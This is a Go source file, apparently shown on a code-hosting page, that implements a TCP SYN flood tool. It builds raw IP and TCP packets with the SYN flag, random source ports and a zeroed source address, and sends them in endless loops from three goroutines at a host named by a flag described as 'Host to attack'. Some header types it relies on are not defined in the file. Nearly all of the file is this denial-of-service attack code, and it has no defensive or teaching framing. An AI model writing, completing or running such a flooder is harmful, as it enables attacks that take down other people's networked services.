-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
145 lines (123 loc) · 3 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
package main
import (
"bytes"
"encoding/binary"
"flag"
"fmt"
"log"
"math/rand"
"net"
"strconv"
"syscall"
)
func argParser() (string, int) {
host := flag.String("host", "", "Host to attack.")
port := flag.Int("port", 0, "lol")
flag.Parse()
return *host, *port
}
func main() {
// Creating argv parsing
HOST, PORT := argParser()
log.Printf("Host and Port: {%s:%d}\n", HOST, PORT)
// Getting IPv4 address of the host
// If it's invalid value:
// printing about it in stderror
AIP := net.ParseIP(HOST).To4()
if AIP == nil {
log.Fatal("Invalid Hostname: " + HOST)
} else {
handle(AIP, PORT)
}
}
func handle(ip net.IP, port int) {
sock, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_TCP)
if err != nil {
log.Fatal(err.Error())
}
// Allow to custom IP packets
err = syscall.SetsockoptInt(sock, syscall.IPPROTO_IP, syscall.IP_HDRINCL, 1)
if err != nil {
log.Fatal(err.Error())
}
totalSend := 0
for i := 0; i < 3; i++ {
go func() {
for {
srcIp := net.IP(make([]byte, 4))
ipByte := ipHeader{}
data, err := ipByte.makeHeader(srcIp, ip)
if err != nil {
log.Fatal("Error in unpacking ip byte:\t" + err.Error())
}
tcpByte := tcpHeader{}
tcpData, err := tcpByte.makeHeader(srcIp, ip, port)
if err != nil {
log.Fatal("Error in unpacking tcp byte:\t" + err.Error())
}
var buff []byte
buff = append(buff, data...)
buff = append(buff, tcpData...)
sockAddr := syscall.SockaddrInet4{}
sockAddr.Port = port
copy(sockAddr.Addr[:4], ip)
totalSend++
fmt.Print("Total pockets send: " + (strconv.Itoa(totalSend)) + "\r")
err = syscall.Sendto(sock, buff, 0, &sockAddr)
if err != nil {
fmt.Println("Sendto error:\t" + err.Error())
}
}
}()
}
c := make(chan int, 1)
<-c
}
func (h *ipHeader) makeHeader(srcIp net.IP, dstIp net.IP) ([]byte, error) {
h.PID = 1
h.TTL = 255
h.Proto = syscall.IPPROTO_TCP
h.HCheckSum = 0
h.SRCip = srcIp
h.DSTip = dstIp
return h.Marshal()
}
func (header *tcpHeader) makeHeader(srcIp, destIp net.IP, destPort int) ([]byte, error) {
header.DestPort = destPort
header.Flag = 0x02
header.AckNum = 0
header.Window = 2048
header.SourcePort = rand.Intn(65000)
header.SeqNum = rand.Intn(1<<32 - 1)
var pseudoH *pseudoHeader = &pseudoHeader{}
copy(pseudoH.SourceIp[:4], srcIp)
copy(pseudoH.DestIp[:4], destIp)
pseudoH.ProtoType = syscall.IPPROTO_TCP
pseudoH.SegLen = uint16(20)
pseudoH.Fixed = 0
var buffer = bytes.Buffer{}
if err := binary.Write(&buffer, binary.BigEndian, pseudoH); err != nil {
log.Fatal("Pseudo Header error")
}
tcpBytes, _ := header.Encoding()
buffer.Write(tcpBytes)
header.CheckSum = int(CheckSum(buffer.Bytes()))
return header.Encoding()
}
func CheckSum(data []byte) uint16 {
var (
sum uint32
length int = len(data)
index int
)
for length > 1 {
sum += uint32(data[index])<<8 + uint32(data[index+1])
index += 2
length -= 2
}
if length > 0 {
sum += uint32(data[index])
}
sum += sum >> 16
return uint16(^sum)
}